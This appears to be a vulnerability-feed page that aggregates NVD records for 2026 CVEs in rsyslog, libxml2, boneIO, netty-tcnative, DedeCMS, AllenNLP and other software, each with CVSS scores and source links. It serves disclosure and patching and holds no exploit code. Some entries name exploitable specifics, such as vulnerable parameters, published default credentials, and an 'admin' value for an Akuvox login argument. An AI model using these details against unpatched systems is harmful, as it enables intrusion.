NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an unauthenticated remote attacker to exfiltrate host files to external Google Cloud Storage buckets and overwrite arbitrary local files via crafted tool invocation parameters.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog...
https://kevwire.com/record/CVE-2026-78002
A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog... (Aug 27, 2026).
A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog messages. This vulnerability arises from an incorrect buffer size calculation during string replacement, causing memory corruption. Successful exploitation can lead to a denial of service (DoS) for the affected system.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78002).
Sources:
NVD CVE-2026-78002: https://nvd.nist.gov/vuln/detail/CVE-2026-78002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog messages. This vulnerability arises from an incorrect buffer size calculation during string replacement, causing memory corruption. Successful exploitation can lead to a denial of service (DoS) for the affected system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices.
https://kevwire.com/record/CVE-2026-77056
boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices. (Oct 26, 2026).
boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices. These credentials are publicly documented on github, and there is no indication in the instructions to change them. A remote attacker can use them to gain full read and write access to the broker, allowing control of connected relays, blinds, and gates, and injection of fake entities into a linked Home Assistant installation.

This issue was fixed in version 1.6.0 of the image: MQTT passwords are generated per device at first boot. Devices upgraded from earlier versions keep their existing broker credentials; from boneio 1.6.0 the web panel reports credentials that are still the published defaults, and the owner has to change them.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77056).
Sources:
NVD CVE-2026-77056: https://nvd.nist.gov/vuln/detail/CVE-2026-77056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
boneIO black_debian_images ships with a Mosquitto MQTT broker that uses the same default credentials on all devices. These credentials are publicly documented on github, and there is no indication in the instructions to change them. A remote attacker can use them to gain full read and write access to the broker, allowing control of connected relays, blinds, and gates, and injection of fake entities into a linked Home Assistant installation.

This issue was fixed in version 1.6.0 of the image: MQTT passwords are generated per device at first boot. Devices upgraded from earlier versions keep their existing broker credentials; from boneio 1.6.0 the web panel reports credentials that are still the published defaults, and the owner has to change them.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document...
https://kevwire.com/record/CVE-2026-74860
A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document... (Sep 8, 2026).
A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74860).
Sources:
NVD CVE-2026-74860: https://nvd.nist.gov/vuln/detail/CVE-2026-74860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.
https://kevwire.com/record/CVE-2026-71456
Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack. (Oct 26, 2026).
Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.

This issue affects Kantech Entrapass: before 9.20.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71456).
Sources:
NVD CVE-2026-71456: https://nvd.nist.gov/vuln/detail/CVE-2026-71456
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Use of hard-coded cryptographic key vulnerability in Johnson Controls Kantech Entrapass allows Padding Oracle Crypto Attack.

This issue affects Kantech Entrapass: before 9.20.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting,...
https://kevwire.com/record/CVE-2026-65184
The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting,... (Oct 26, 2026).
The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting, escaping, or character-set validation. The daemon's public-key session path performs no appliance-session check.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65184).
Sources:
NVD CVE-2026-65184: https://nvd.nist.gov/vuln/detail/CVE-2026-65184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting, escaping, or character-set validation. The daemon's public-key session path performs no appliance-session check.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website.
https://kevwire.com/record/CVE-2026-5147
A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website. (Mar 30, 2026).
A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website. The manipulation of the argument Website results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The patch is identified as bccf7c79e5f93f027a021172a18e8876cc6c1062 (master-jdk17). It is advisable to implement a patch to correct this issue.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-5147).
Sources:
NVD CVE-2026-5147: https://nvd.nist.gov/vuln/detail/CVE-2026-5147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website. The manipulation of the argument Website results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The patch is identified as bccf7c79e5f93f027a021172a18e8876cc6c1062 (master-jdk17). It is advisable to implement a patch to correct this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to...
https://kevwire.com/record/CVE-2026-13717
A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to... (Aug 10, 2026).
A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to intercept, read, log, and alter all MaaS model traffic. This includes sensitive information such as access keys, input prompts, and outputs, leading to significant information disclosure and data tampering.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-13717).
Sources:
NVD CVE-2026-13717: https://nvd.nist.gov/vuln/detail/CVE-2026-13717
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A flaw was found in the Red Hat OpenShift AI (RHOAI) MaaS Gateway. Improper configuration of the Gateway in a model-serving context allows a standard user with low privileges to intercept, read, log, and alter all MaaS model traffic. This includes sensitive information such as access keys, input prompts, and outputs, leading to significant information disclosure and data tampering.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation.
https://kevwire.com/record/CVE-2026-116540
netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation. (Oct 26, 2026).
netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation. Remote clients performing TLS handshakes while setSessionTicketKeys0 frees the shared key array cause OpenSSL to read freed HMAC keys, crashing or corrupting ticket processing.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116540).
Sources:
NVD CVE-2026-116540: https://nvd.nist.gov/vuln/detail/CVE-2026-116540
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation. Remote clients performing TLS handshakes while setSessionTicketKeys0 frees the shared key array cause OpenSSL to read freed HMAC keys, crashing or corrupting ticket processing.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login.
https://kevwire.com/record/CVE-2026-116371
A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login. (Oct 26, 2026).
A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login. Executing a manipulation of the argument engrmode with the input admin can lead to improper authentication. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116371).
Sources:
NVD CVE-2026-116371: https://nvd.nist.gov/vuln/detail/CVE-2026-116371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A weakness has been identified in Akuvox Akubela HyPanel PS51 51.130.40.26. The impacted element is an unknown function of the file /login. Executing a manipulation of the argument engrmode with the input admin can lead to improper authentication. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox.
https://kevwire.com/record/CVE-2026-116370
A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox. (Oct 26, 2026).
A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox. Performing a manipulation results in type confusion. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116370).
Sources:
NVD CVE-2026-116370: https://nvd.nist.gov/vuln/detail/CVE-2026-116370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A security flaw has been discovered in 2K Games Sid Meier's Civilization IV 1.0.12.68. The affected element is the function loadstring of the component Lua sandbox. Performing a manipulation results in type confusion. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL...
https://kevwire.com/record/CVE-2026-116339
A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL... (Oct 26, 2026).
A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL Whitelist Handler. This manipulation causes incomplete blacklist. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116339).
Sources:
NVD CVE-2026-116339: https://nvd.nist.gov/vuln/detail/CVE-2026-116339
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
A vulnerability was determined in iFlytek astron-agent up to 1.1.2. This affects an unknown function of the file core/memory/database/api/v1/exec_ddl.py of the component DDL Whitelist Handler. This manipulation causes incomplete blacklist. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component...
https://kevwire.com/record/CVE-2026-116275
A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component... (Oct 26, 2026).
A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component Registrable Configuration Machinery. Performing a manipulation of the argument Type results in code injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116275).
Sources:
NVD CVE-2026-116275: https://nvd.nist.gov/vuln/detail/CVE-2026-116275
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component Registrable Configuration Machinery. Performing a manipulation of the argument Type results in code injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file...
https://kevwire.com/record/CVE-2026-116256
A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file... (Oct 26, 2026).
A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file application/mp/controller/Show.php of the component Mp Module Media Proxy. The manipulation of the argument url results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116256).
Sources:
NVD CVE-2026-116256: https://nvd.nist.gov/vuln/detail/CVE-2026-116256
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was found in geesondog RhaPHP up to 7ae639ccf8dcb627faace096d030bd4cb4cfb905. Affected by this vulnerability is the function image of the file application/mp/controller/Show.php of the component Mp Module Media Proxy. The manipulation of the argument url results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component...
https://kevwire.com/record/CVE-2026-116253
A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component... (Oct 26, 2026).
A vulnerability was determined in DedeCMS 5.7.118. This vulnerability affects the function common.inc.php::_RunMagicQuotes of the file plus/ad_js.php of the component Advertisement Rendering. Executing a manipulation of the argument aid can lead to code injection. The attack can be executed remotely.
CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116253).
Sources:
NVD CVE-2026-116253: https://nvd.nist.gov/vuln/detail/CVE-2026-116253
